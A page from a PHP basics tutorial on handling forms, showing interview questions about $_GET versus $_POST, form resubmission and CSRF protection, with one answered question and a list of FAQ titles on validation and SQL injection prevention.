What is the difference between $_GET and $_POST in PHP, and how do you d...
Q02JUNIOR
A user submits a form with their name as . Your...
Q03SENIOR
If you refresh a page after submitting a POST form, the browser asks 'Ar...
Q04SENIOR
Explain how to implement CSRF protection for a PHP form that handles use...
Q01 of 04JUNIOR

What is the difference between $_GET and $_POST in PHP, and how do you decide which one to use for a given form?

ANSWER
$_GET receives data from the URL query string (after ? in the URL). Use it for read-only operations like search forms and filters because the resulting URL is shareable and idempotent. $_POST receives data from the HTTP request body. Use it for any action that changes state — login, registration, order submission, file uploads. POST keeps data out of URLs and browser history, and browsers warn before resubmission which prevents accidental duplicate operations. The rule: GET for read, POST for write.
FAQ · 5 QUESTIONS

Frequently Asked Questions

01
What is the difference between $_GET and $_POST in PHP?
02
How do I stop PHP from showing 'Undefined index' notices when a form field is empty?
03
Is HTML form validation (required, type='email') enough to protect my PHP application?
04
What is the Post-Redirect-Get pattern and why is it important?
05
How do I prevent SQL injection in PHP forms?
🔥

That's PHP Basics. Mark it forged?

5 min read · try the examples if you haven't

Previous
PHP Strings and String Functions
8 / 14 · PHP Basics
Next
PHP Sessions and Cookies